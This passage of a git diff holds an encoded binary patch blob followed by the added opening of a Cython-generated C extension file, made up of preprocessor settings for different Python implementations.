zh51DS2ydy+nItJEy7af)Y<9y_3DKr|0t7ELnMH_HxbL{vh_FPgrnv53mK&V6Sp-LM ziu>DIZs?3YQN6Bch|~0jVJS?W#3y#)b~BOh9ri3YI32HqC{pnH^$cD*U0Y?9K7@a#F$fus8)1+)^gL;C<`^+5@lYn z+@XU^z_*M0JBr7jw%pekx<=f7uW0`WsvAS)#DkqI_dRxJiYD0mw>so5UmZz2*hsA^ z8r);K3qzqs(?wPeMsXbsi@=#=3GPCcJBsPPD1;_x4!ffwtqd+#8Djhw6&LJ@D42B_ zDJ80nMWP0P5cfjsNz7o0QdKQ?7rPOQyRqZOa?Oc0lsq2VnZf4#5K9Q}CUG-%t-owf zvc(karjoXymTL}B!BNRLGUFX6Voo6;WU{jeNaz3%%t#-{>J1JIu-wp@8aQ<0pe>Kw zu-q1}8*7wQ87wItzh!4>O4(tI&4mNFs>xADrb- z2{Q&?gQHKpx7D~cD*=SJmzb#%4m91|Ilq0MoYCxY-6Iw}Eo5zGU}s(5d&U{sy} z!dq}?K_%3?N#HmX@9i&pOd<$x!TAD}uw*v~9NzG_BsqlxjS@h33yuP)go*Yu;HVMr zZ6~JI6F_(iHt$!0S?+dlG>!MR#{N7JgtuVBeK}FFqNsGW<@OKzDo=Hn)@8lrAGpU zbR57cIpVs8u>TXIa4N0khW7o5;yF0{>M-QRgO>Xf%P%diy;d~*hvi;msHmu28)tG_ z?q3XLifYwFt!t3&V@*O-5I5e1D6<>B{%*Nu>lsC^+V$8^IL`2w7PZg~3hjCll_1aT zYa;%#=->=W;1BK5k^E*Cj^U56<-eBC?xIRQyS03FEB?@S1tp*9iog8JM*j*jes$Sh zRO)*TyU}4oX+O+v#ebIFivK*j75|`DjC`#RyOsW9*{$>u6AVAjn6HT&;3nhyna!YV z!~OuA0HVCqWu{8vtjGn&^^8bw$HfJFYvVw8YspNN#6EEv9PJp9-nL;6K>`SG&oEOZ z@u}DajzNq_Zy#deC;^1GY0OkfEW{lfmOGmf>20=HmI%VzI%cYbqh05MV-q9N+sjz6 zN&w;QBr{bKLvfuJ>IEax+nC7hP| zJveS+BnQW69s+U;BiZ81$bKNL8L5GD@^%C1#Yi@6I6ek4h>;qw#P|@%>x^WJS7BIz z-VP%*U=J}F$a+SyajW+bAbS|8fy0Smmf)UcBpXd{9+0+^OysYSBa~U}E+n!_iSpIZ zTc`d*umz(Fy8Y*Y1iKJgVu@)z!V9eSn_x|Ngaa%59n|}S@%u5Xy@VOi3?|_TEZ804 zrCaX4*NuXOL}&VP1?J9m#MS79M2*pK1vfCn#Vz(Q3bsN>I*^G#?woAo-G$T1M*<0% z;KBgca_dbo9MAy0zS-8N<7JpEeIuB<~;o!wB5wRZ!#9HnV_81Xf zahNGjv0<08(-tRiV=vNdLPWe3dGB&Yq9pi62mK;T%MrVrW5|KO7|F)zUx$FKW~3Mn zE~5P1z(^tSl1zXiQ%&@WiXP8dZV7gyH~tiQitNsjhX`5jkBnrC&9L*a+!##<;0IGj z9FMyMNCqR>;!S%YkgALn6;BNVP>X>~(RUDlddQ? zGWM*K3pg-q9AHbUM#~LZEn=>Vdbh?Z5leVjjXek?WR@t667l7I(~>`|7)WD8G-r(D zh_yC#Q?@aZjm6!KK#WZwNq*Iy2_$4bN5*sbWKB1Mi;9k2E!P;p(I>V|C(8}lzrp&= za@oQS^DOtYM)96u{Li;xC~(3?^kFTqMZAh{Oo_J)5#K9}nCh`RM~uO!5tmMniHHqY zuSIjrv}_#yy%ecX5bCsMrkbKQW=DRU zZS;tW*kDIcK@p2mHpIknEa8jeX@3lfoxsGip92K8UOlV!M0Fg~`k(Xm|qJBVq+UYX!iG zjOpN62Cu7FY*X&qN9CW)hB0h>-6yg-@;>GmTQ>kKL+W0i_aoS0Y1j4L`#J576fQ<`=ORUe8qFP;X z^$nK$91ATbz5p8xOJ*Rf02Y8Z!|%(?n2q!2&kHCu9*l{w2 zVl3_z#a7asUMg@4k%@#Y_pqV6BBL<+X^$AU5K##Ht!updlWy_u;g80<2RvrnQBf8bj!eZJ z^kNY%`LNuXAyRC)BgS~kfu3R1k@HV>cOxJoik3n~^fYdj?7^+~n4fAOZb6$h7@Hi# zE8dqLE)V^~gKgAYU#!E`_UHyJG@jSkBH#VR#l+w;Pi*u)jba_|XT(2rUn+JOuXS<9 z_!q9ciB*j9-hh6=eWO)z+vrr}*(WR%NqD_D=1v7$90FS2Th)(_!atkn(-TfTsg(8a*0zAMlin2UcYoOk7XY3Sx(jALek$K32o zJQKy6K!R(1uf?Uli*0O&+hSu&`WyIEY+)S=i;|VaB>Qb!yn|C{(RUmP@}tX5G>VE& zkD_&8ccy69#d6QTZ|KEDG2C!;&KU%gwa5n%F~~iQkGZ)l66P=>ZGa>1FBB)8-yG~P zIs?_h^m5zmfNr_rYYDNpa-xH4?KdD*f*bHskOix4+rNxZeOKW2_ZHs|(#2=Ys(Ppk)$BBN9XI;kNj!@}A1#Smo1|#q8?4s-w5h zbj(ns9YIHFeF&MJHXn$+-pHsYMx=cdhgiZviym;OVOtLS$PquK&Vr8sf%QUxAUZzv z+1nUfOfS8>wAf$zTxs!gnXk%-eP#YABVMZVY8CNDl{rW4RJ4KX1Wbb0P5JeHA7uk(jg33R^$67{m#21wh13Aw~8F8fU z`MQ?daH9#Org*>l0hE*gu|x!4=fE8iQIx>@*hjW_z506ic$kq+;$hf}jm#N`iLq)I zs)=8!FRmdr)cC1}$gT5Y9Wl7>90WO)*;N+SKqjBBF2>YYQKKMYA}+JA_!XABljWex zT6Gw5BI7d?nH({y`c$Y^l@U~n{^EG;3$?{xwFlP`Kh&87Rc0|6^{e_^cvu%gzO0rH zp@$fOt#$cL6~wj*Usn)+RUcYId{gT}EpfK?%=%(m{S)=Yo~xE$EmmKB_Bt`I!Ni7Q zd&5~bh|h1>fuY9D`;1~eM4u)1qP; zU3+*by4M#IQ%Z#7x)>LOz4p z;#|tWnB|USq>LC89f=Y+fst(Sn>PT+jH5<$Hm0d}q7U-}BW1)0_ccfk5HzwFW)D7Q z{N#x1TcAE2H|{E;Yj2cmc4uNW8vW#N4Bf{H=dbvl)%)BaIpR|JffdBi3KJ`crPX&< z7k|`vsiv4!YkMs*ss6nB;^b9lt_t&GMO^WZApVc4gLOW!<{8!pS+pzC(Wck9gu3t~ zgV|zRjYB}1eql6-idjY06cJmB94;b0z3%9BSnJwpXjpQnkLfVx%@J!-&!T_QgAsgq zQ%?gK!3b8IQhxz5hLLO(gCBv+Wd!qtsXqf*$Oz^MQ-1)mo{=1}J$3}S_&Fol;;Yy} zAU`rv72n4rXi2X9(rDaPbbm&?p1K#JZe%b=tV`Vi|8NJ~a?#2cya0(pQD z%$KFk1k#g{O5*B&h{Lgg0H0wnM^wF5?27#Y#TGD#zVG?ev1wvnxmD%F@p9wJqesg` zSNO%mY3z2vh?2ny;`MUxmBZHAO(rTiVr;p$fK&}3i_5OVC%P6R*NM# zbs#Gl$reNW2|(I^Wnv*eZ=16Z;mb6E!E7WLF6D0KBgJ-C&zZ3wes2w5Hb0?3Uae0kR~3@matTI%0-D6L28dh2R+;rl+PxF%`NTDf$`*+E}!0i>0WAn3j_% zlKr&_BU`LX--^YZn!5sIDh3Fc9c84MIOfpQ{J$8HN)hUhTdx#A+Ik2 z`I-^*Zk^#k_A`==YnN!ibe54EEGG;Ea-NZFSZQBER5tRr`3doHY%>a*$A#Fza2Szg zcSA9;&{}-LUS%X({FpWc$Qb@e-7HR~4@4Y-JzKqTj>uXe)_O-$#E-F=n5#{npDvbQ zrx_;dPM8cy!TySs=-QWLfzC%8X!$n1jt(KOrJ6RtwsABDbAj5dEF; znk{Hwh~@HD4-6=20|;737GF-#HV^b-89^G95YLmbXB>tk;Eft&h==VPs1qF4P|S*A zp9a2b3{{dlFf6wdBQklXyK})72SRqR7vck&4w?}W+au?MIEVcUFh%1G5~6fz96LsH zF_RgD#V8s(xrAX%+Xd#v=3_S@KI_b8iFYIK0tw8|$J=5Su7(rCFu5((_~(3ShK_|N z_ESXc@DHF_$v9~e^+D8+aS^dKdWbrqtKw*>(qhsWX3NP3lmyFV`)8{pjHyT3;%nTt z0yApNd~Jn24-BYZj!Nrk^j$ch6!D!iG-5?FA6G$Nx@1T5?pE(bqsCr$loS2<9t94v zqqp3vUVn9>tD36UX-;%sGxfTwWYm}zzUf4_bx>%NXem7>KB-Lf>fQ>>RF8uG+5m<1 z<6nui6abEuZW(=_(+u4;K32!0hsK9!-0Gu%k{X|(@v<7v(m2f(k^Dv)FRF2Bl?d;U zfd8uTT#c8|{6!G~;?L7~HI3KN_!f;nND;;FPL0>?r`%7ght)~r3p8Fy<1c7DU*ksp zWQ}L`SBwV7`ksoH##?GRyELAs@%uD>R^!$a3aF#;3`fbStMLOGuch%!Z72Si#$lao z*;bCVrWpj{hbkj~m*8X41)TIOd!G`3^)~r~9fOpg`HXU#^#57oriP?xeispx#usQ@F9})0HD2}w z#R$U%`J1J2)6iV0_1vOyZgmPN{-1%{R;IO}h+-_NU@Oa0_*jh>(|8??mo29F%W1r! z#`CEnHQrR~Z@w2tG+tNZC3UzS5{lAu zww9l&@uC_ppODVwG=7KXH|cq;##?LL6kiUOvJX6b0(RgQ#TM0O>2a>u|r<_*u$2I>-jhih9do{jW<7G!EIsARsc&^6v=iDlTf+6EI zQt|6xtmYawH?lpWaGO;}l@<)`mX;f86kokLMq0_%*&l%b%n1yq6VV@Xw4K zZQ!iUNUb9px3uC-bVG1a<4rYVEiJ!Dnu?b>%l$^pe}l%&5x}}QTCFsmKUoR*K{sTN zYJAHyg}ILCt?m<7;Ne^IPyp`Ladh#dU=# z0-X9+RtuHkrt4o(^PAB@i3}z02FYK-%GLdlJY7y&YJANd3NUz2!+%#iK1$^~L%Mvd3hc&?U{r}0}1zt(?^#yd(p$I45{-(H%(gDxj^HUALc1&u?; z0;haw+FLW~$9RqBCg5*td`$wr5;)b14q6`-JImT2@ocNa-wdJxIHToQkH?35QSukD zG86cd>7SED;TE=TsTwbzq!tw4D&Tjl3@h_&e7LowoDxKo zrB5a%lnN@(<&)r7CBgrZ1aF-L?~?={mITjBf-g*huT6sQPJ$mvg8!5Rk6>b_pmZye z1TUWiZ=3{gmIUtvJPZBFT-}c{^Kavm@V}V^pPK|;H>EEee`}Tdi^z7VTGq&&Bzf-3!efzfW z*{ff-hr4y^*soi!o(Q5Tf@s{UPcKO6*@Z(&B;5RD$8P=p7i!-w-5)mop1!Sr&rTFV z`$xL;YyWuvj@^59?9ruQ>LcBIJ=C##--3yqy7%hazfTgMoqBaHfMQY$0xA6->ejal z5`%c#_j>42ymL?{+A4NEd$sS`K4p%oZ`IAZdcb?k}6mI=*4#wSeYZk_ri2B?(j z)1`C&PF>n}dCHIjkF5}eUVS=s?B2coy*iF4BT)VSqj*pXKHR5EmrlL<_w4uo89?`L zeg9wNQ~7TC^qoC=_v+KH{mq>_-`%To|L$Gx>yo6X7Mz)lk=S>4>DRSa=gYIBPnX_( z3>sH19`2)xJSAa|z9+N+|D`iVl($!hv^`_{MI+W5X(Z`1yjmbdlk)gw`$Dioc% zcj?Gs1qGs8Pt?uMT^{b(zk5)&12WaX$DaJp^hBzOhzhrJ7sS68HAs}2Xkwmj-?w*{ zPVM{kYTrX9Cnyw46hqDW|5Z|YKaBv}ck0sxscH4-*sW*#Zaw>T>C?MU7yNDCt#j?V zT9wOEuzg2r!gLgxKCN=I{XId2k59199NoqNfr`P+ed7y)Nh!3m{W^8k=~25=ubzGT z_3qQFw^WEyt+CX(dA~m0dOp&k<3l(1{GZmY9#oR73YP}5iD+Q3!UQkaKybHlW@lGT zmg(0&@3r&(c-?P@Wsy78-SxVg*HzV2RnNQ@1WiO(3`9%}HPJ-P6caUAFi=!X6b&X* zvqex4VaM;g_nccluX|<@i=DZD=iGDdx##cRu9}?=ux+kQ??CxonL)CI8@?ZH#%Y*M z_t!;Xo%Hs>#c~=^9o(q7Q&wLst9Q%lYi0HIvijMw`gvas7wHV@Yl_V(D!J2M7jdqH z%MvN3lPH_ntb&@GILxlrt8zHsB$Gu7b&}vy0hX~#K3w}~ zZAItl?HC6)9%NxXSJ|uxc#)UFD*+Jn$!fX!WjdQx^n_O9p~c;~)k9w|7nRk+vn@Bx zZOc-INQc1uqSi1mGK_FmitTwBh{rCXyp&)OT~`|OD#>+j?HqV#G%D2{GXyI=4VL`~ zrr1g2I88=SU;%dCb&F}9Z7!09%@4kiTG`mCOS5;eSY|1KdrWJPr`3Mgk3op5Q7PL9;jSf${p7maqnS;fnDCu2K zq80PAV|uM9Z>_?t@I0Pv2-t)ftyfk#8q%rIKRIomA8cWf5vZZ8jY)DqY<0OD*pfzh zA#!|odbw@1hPpl66K(fMGgg*cLA+;0T8>v!z7lgsWUs5p+2+*ducja71!GYc>Ejmt zGY3)O(wqaETA!4uH;4SbdbK!+5@W2<42yI%Kq$3I>zmY5wnLuW&qZNkcSk-4+I8DA%(n-F}`!RoA|H=4s#qPcs`oi<>($-P7jon-0!x z5jAQ1NVC^%zeQ>exv9*KtZN!A1)&lQMhqEM#l117g=qFVCUl4j=CWJt2|(E{H4BlB z#{tb*Y6I~YC-j>b@Pcpven1VyggO30E~FTKph2S2PYOIR-9Xtv!>z17U!!I7cxqq1 zOu^(NEAnD}d5LQXB$?3+#1MFk*x*2(*pzUZ>TzZYqsAK6*TE!>5hDsHH1qH+5atqx z6%%GzxG}iB$TopJC7J0uj+ygRTFBRMtf_*+N1eBid!~2NH72lAkxHIQo)wtxTPN+~ zK?l7DCl{u7C7^&Ua z=7`5ro))|lX8Mj6yr~&(Ae|U76FK48hF%%@NCEASU4HL77hj4{hlWMrbZAe6@W*|7 zPP8+*m`vo-_xZC5y;5KXqhlPhbVslz?gtJO2+e1kJ`+)60X?672@*UyJVZW-!YiDC zp^SBQE)sax$yGE3U*tNN<#?+LBCu+PLhxx6v8%NaAfl$%O>;8^LD58ngCHb zm9;^6cK6mW=mOBDnj}dZLc5Y<>ct{@8D4DSk2>}2-0vgTj9of`X%LQ%#3cw$3&lVP z<<}sIFu?6H_bFmEq@l@^6%OvjWo`HnW{3_^0V;ogk=TvTsI8@13B(BwvTlo*X0_?_ zxde9;>*o<`ai(nNN!QN0$qpAe-2`zIPvTWWyiRQ>Hk)wA%v>ZZY>7LAcv*>Ib0X~J=>&cVhcz^1b*^x7;R3B|7PT_> zlk{`g}|`&Me7xD~IS!{uT^6@bYZXGHyFh+B_3B{45hc@v_v*Y2oO zIYpT2xZ8PG_gY8~@=><7uFh`$QJV4!W$XHmqDRrvp#ebfWqG=>I1^jX`j`#jL@G9a-(TA*d-sHT`R|0G=zH^`?hnx^$P#gteUUE7S>xkzt9Nbl6stdj9JC7N5#^G*xZAf8nI`0u1x`UP zq6@OVw!_?@f?CQ+W3msSFfwZ_HecD1tti)>G{MhN<)VN~VWFd=-rj8*}E4Pmy{8w(ayTh7;C9HZqs}5s$l#VxkC{z z5*Lq!RJJIhizEvroCmFZ6GLxM7MUyOTEmY*QEQg0Tf88SGR)iZUG{?W72I7~fH}QW zYr07=nJXa{JHp=s=}D>$gRv}HhD4CsYFPv=o7c8bZOssYYz04w1uc8c)?!8u=+xez zwxYS@;PWYF)0UgVCF6m`&^kzkF@DS7)SMYyGFNPkq0Tsg#r%yDebIP514@|8aCVU9 zBDqYp9*)OZ^hjI0uGKn(rd4~3TWzNk9)kRYSu%6&EkEY|4_)|qHsCAU@|tw;eW_@< z*O*gYL-)Nc)T;Qu5_~OR@{q2g?}uo28ut(DSqGQqvb6@ zQ2v#UmUF5Uf-?D2Ne^)8HQt4{%4;uLTzPpzC zeT2g6K5F|%g8yOdu-vdgt^&OGZVUg{p0ByePf!q2@%248g4d+~ZUg^QpLBG! z+!Os1bgw_!{w*r_6vf&g`}BK)kH6yPQGMkYA8l*-XY`STn7#jg;l&S#|5xC0ixpqL zAJ`N8UpO|b{Q=C=*M0mp`Us-R|IE7AJl=u-^EaHO{-?2jil^ll z1;0)u2!7Uf_ 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + 